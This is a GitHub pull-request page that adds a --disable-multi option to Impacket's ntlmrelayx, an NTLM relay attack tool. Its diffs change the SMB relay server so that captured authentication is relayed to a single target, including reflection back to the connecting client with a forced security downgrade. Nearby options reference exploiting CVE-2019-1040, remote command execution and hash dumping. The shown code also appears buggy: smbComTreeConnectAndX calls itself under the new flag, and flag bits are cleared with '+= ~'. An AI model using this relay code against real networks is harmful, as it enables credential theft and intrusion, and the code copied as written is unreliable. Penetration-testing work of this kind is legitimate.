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Added flag --disable-multi #1273

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merged 2 commits into from
Apr 18, 2022
Merged

Added flag --disable-multi #1273

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32aea4c
disable-multi smb added
zblurx Jan 21, 2022
34e1673
Merge branch 'SecureAuthCorp:master' into master
zblurx Mar 3, 2022
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3 changes: 3 additions & 0 deletions examples/ntlmrelayx.py
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Original file line number Diff line number Diff line change
Expand Up @@ -147,6 +147,7 @@ def start_servers(options, threads):
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEnumLocalAdmins(options.enum_local_admins)
c.setDisableMulti(options.disable_multi)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(PROTOCOL_ATTACKS)
Expand Down Expand Up @@ -267,6 +268,8 @@ def stop_servers(threads):
parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
parser.add_argument('--disable-multi', action="store_true", required=False, help='If set, disable multi-host relay')


parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'
Expand Down
90 changes: 78 additions & 12 deletions impacket/examples/ntlmrelayx/servers/smbrelayserver.py
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Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,7 @@ def __init__(self,config):
#Username we auth as gets stored here later
self.authUser = None
self.proxyTranslator = None


# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
Expand Down Expand Up @@ -126,6 +127,33 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0

if self.config.disableMulti:

if self.config.mode.upper() == 'REFLECTION':
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
self.target = self.targetprocessor.getTarget()

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme,
self.target.netloc))

try:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
#recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
connData['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData(connId, connData)

if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
Expand All @@ -134,7 +162,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
respPacket['TreeID'] = 0

respSMBCommand = smb3.SMB2Negotiate_Response()

# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

Expand Down Expand Up @@ -183,7 +211,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
if 'relayToHost' not in connData:
if not self.config.disableMulti and 'relayToHost' not in connData:
# Just call the original SessionSetup
respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
# We remove the Guest flag
Expand Down Expand Up @@ -328,8 +356,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
self.server.getJTRdumpPath())

connData['Authenticated'] = True
del(connData['relayToHost'])

if not self.config.disableMulti:
del(connData['relayToHost'])
self.do_attack(client)
# Now continue with the server
#############################################################
Expand Down Expand Up @@ -364,6 +392,8 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

if self.config.disableMulti:
return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
Expand Down Expand Up @@ -442,11 +472,45 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket):
### SMBv1 Part #################################################################
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:

if self.config.disableMulti:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

self.target = self.targetprocessor.getTarget()

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
self.target.scheme, self.target.netloc))

try:
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True

# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error(
"Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
connData['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData(connId, connData)

else:
if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
Expand All @@ -458,10 +522,10 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
if 'relayToHost' not in connData:
# Just call the original SessionSetup
return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)

if not self.config.disableMulti:
if 'relayToHost' not in connData:
# Just call the original SessionSetup
return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
# We have confirmed we want to relay to the target host.
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

Expand Down Expand Up @@ -679,6 +743,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

if self.config.disableMulti:
return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets
# are processed. There might be a use case for this
#if 'relayToHost' in connData:
Expand Down
4 changes: 4 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
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Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ def __init__(self):
self.encoding = None
self.ipv6 = False
self.remove_mic = False
self.disableMulti = False

self.command = None

Expand Down Expand Up @@ -132,6 +133,9 @@ def setCommand(self, command):
def setEnumLocalAdmins(self, enumLocalAdmins):
self.enumLocalAdmins = enumLocalAdmins

def setDisableMulti(self, disableMulti):
self.disableMulti = disableMulti

def setEncoding(self, encoding):
self.encoding = encoding

Expand Down